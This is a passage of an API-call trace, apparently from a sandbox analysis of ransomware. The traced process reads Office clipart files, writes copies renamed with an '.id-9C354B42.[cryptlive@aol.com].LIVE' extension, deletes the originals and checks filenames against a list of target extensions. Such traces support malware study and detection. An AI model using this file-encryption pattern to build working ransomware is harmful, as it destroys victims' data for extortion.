lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.411] lstrlenW (lpString=".bz2") returned 4 [0150.411] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.411] lstrlenW (lpString=".7z") returned 3 [0150.411] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.411] lstrlenW (lpString=".dbf") returned 4 [0150.411] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.411] lstrlenW (lpString=".1cd") returned 4 [0150.411] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.411] lstrlenW (lpString=".jpg") returned 4 [0150.411] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.411] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.411] lstrlenW (lpString="J0101865.BMP") returned 12 [0150.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.412] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0150.412] CloseHandle (hObject=0x350) returned 1 [0150.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0150.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0150.452] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.452] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0150.477] GetLastError () returned 0x0 [0150.477] ReadFile (in: hFile=0x3d8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.484] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.486] ReadFile (in: hFile=0x3d8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.486] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.486] SetEndOfFile (hFile=0x1e4) returned 1 [0150.486] CloseHandle (hObject=0x1e4) returned 1 [0150.486] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.486] SetEndOfFile (hFile=0x3d8) returned 1 [0150.489] CloseHandle (hObject=0x3d8) returned 1 [0150.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.649] lstrlenW (lpString=".doc") returned 4 [0150.649] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString=".docx") returned 5 [0150.649] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0150.649] lstrlenW (lpString=".pdf") returned 4 [0150.649] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString=".xls") returned 4 [0150.649] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString=".xlsx") returned 5 [0150.649] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0150.649] lstrlenW (lpString=".ppt") returned 4 [0150.649] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.649] lstrlenW (lpString=".zip") returned 4 [0150.649] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString=".rar") returned 4 [0150.649] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString=".bz2") returned 4 [0150.649] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString=".7z") returned 3 [0150.649] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.649] lstrlenW (lpString=".dbf") returned 4 [0150.649] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.649] lstrlenW (lpString=".1cd") returned 4 [0150.649] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.649] lstrlenW (lpString=".jpg") returned 4 [0150.649] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.650] lstrlenW (lpString=".doc") returned 4 [0150.650] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString=".docx") returned 5 [0150.650] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0150.650] lstrlenW (lpString=".pdf") returned 4 [0150.650] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString=".xls") returned 4 [0150.650] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString=".xlsx") returned 5 [0150.650] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0150.650] lstrlenW (lpString=".ppt") returned 4 [0150.650] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.650] lstrlenW (lpString=".zip") returned 4 [0150.650] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString=".rar") returned 4 [0150.650] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString=".bz2") returned 4 [0150.650] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString=".7z") returned 3 [0150.650] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.650] lstrlenW (lpString=".dbf") returned 4 [0150.650] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.650] lstrlenW (lpString=".1cd") returned 4 [0150.650] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0150.650] lstrlenW (lpString=".jpg") returned 4 [0150.650] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.650] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0150.651] lstrlenW (lpString="J0102594.WMF") returned 12 [0150.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0150.651] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27000) returned 1 [0150.651] CloseHandle (hObject=0x1f8) returned 1 [0150.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0150.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0150.652] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.652] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0150.653] GetLastError () returned 0x0 [0150.653] ReadFile (in: hFile=0x1f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x6978, lpOverlapped=0x0) returned 1 [0150.673] WriteFile (in: hFile=0x3d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6980, lpOverlapped=0x0) returned 1 [0150.674] ReadFile (in: hFile=0x1f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.674] WriteFile (in: hFile=0x3d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.675] SetEndOfFile (hFile=0x3d0) returned 1 [0151.164] CloseHandle (hObject=0x3d0) returned 1 [0151.164] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.164] SetEndOfFile (hFile=0x1f8) returned 1 [0151.479] CloseHandle (hObject=0x1f8) returned 1 [0151.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.498] lstrlenW (lpString=".doc") returned 4 [0151.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString=".docx") returned 5 [0151.499] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.499] lstrlenW (lpString=".pdf") returned 4 [0151.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString=".xls") returned 4 [0151.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.499] lstrlenW (lpString=".xlsx") returned 5 [0151.499] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.499] lstrlenW (lpString=".ppt") returned 4 [0151.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.499] lstrlenW (lpString=".zip") returned 4 [0151.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.499] lstrlenW (lpString=".rar") returned 4 [0151.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString=".bz2") returned 4 [0151.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString=".7z") returned 3 [0151.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.499] lstrlenW (lpString=".dbf") returned 4 [0151.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.499] lstrlenW (lpString=".1cd") returned 4 [0151.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.499] lstrlenW (lpString=".jpg") returned 4 [0151.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.499] lstrlenW (lpString=".doc") returned 4 [0151.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.499] lstrlenW (lpString=".docx") returned 5 [0151.499] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.500] lstrlenW (lpString=".pdf") returned 4 [0151.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.500] lstrlenW (lpString=".xls") returned 4 [0151.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.500] lstrlenW (lpString=".xlsx") returned 5 [0151.500] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.500] lstrlenW (lpString=".ppt") returned 4 [0151.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.500] lstrlenW (lpString=".zip") returned 4 [0151.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.500] lstrlenW (lpString=".rar") returned 4 [0151.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.500] lstrlenW (lpString=".bz2") returned 4 [0151.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.500] lstrlenW (lpString=".7z") returned 3 [0151.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.500] lstrlenW (lpString=".dbf") returned 4 [0151.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.500] lstrlenW (lpString=".1cd") returned 4 [0151.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0151.500] lstrlenW (lpString=".jpg") returned 4 [0151.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.500] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.500] lstrlenW (lpString="J0103402.WMF") returned 12 [0151.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.522] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=44948) returned 1 [0151.522] CloseHandle (hObject=0x1dc) returned 1 [0151.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0151.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.523] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.523] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.524] GetLastError () returned 0x0 [0151.524] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xaf94, lpOverlapped=0x0) returned 1 [0151.588] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xafa0, lpOverlapped=0x0) returned 1 [0151.589] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.589] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.590] SetEndOfFile (hFile=0x3a0) returned 1 [0151.590] CloseHandle (hObject=0x3a0) returned 1 [0151.590] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.590] SetEndOfFile (hFile=0x1dc) returned 1 [0151.593] CloseHandle (hObject=0x1dc) returned 1 [0151.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0151.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.594] lstrlenW (lpString=".doc") returned 4 [0151.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString=".docx") returned 5 [0151.595] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.595] lstrlenW (lpString=".pdf") returned 4 [0151.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString=".xls") returned 4 [0151.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.595] lstrlenW (lpString=".xlsx") returned 5 [0151.595] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.595] lstrlenW (lpString=".ppt") returned 4 [0151.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.595] lstrlenW (lpString=".zip") returned 4 [0151.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.595] lstrlenW (lpString=".rar") returned 4 [0151.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString=".bz2") returned 4 [0151.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString=".7z") returned 3 [0151.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.595] lstrlenW (lpString=".dbf") returned 4 [0151.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.595] lstrlenW (lpString=".1cd") returned 4 [0151.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.595] lstrlenW (lpString=".jpg") returned 4 [0151.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.595] lstrlenW (lpString=".doc") returned 4 [0151.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.595] lstrlenW (lpString=".docx") returned 5 [0151.595] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.595] lstrlenW (lpString=".pdf") returned 4 [0151.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.596] lstrlenW (lpString=".xls") returned 4 [0151.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.596] lstrlenW (lpString=".xlsx") returned 5 [0151.596] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.596] lstrlenW (lpString=".ppt") returned 4 [0151.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.596] lstrlenW (lpString=".zip") returned 4 [0151.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.596] lstrlenW (lpString=".rar") returned 4 [0151.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.596] lstrlenW (lpString=".bz2") returned 4 [0151.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.596] lstrlenW (lpString=".7z") returned 3 [0151.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.596] lstrlenW (lpString=".dbf") returned 4 [0151.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0151.596] lstrlenW (lpString=".1cd") returned 4 [0151.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.596] lstrlenW (lpString="C:\\Program Files\\Microsoft 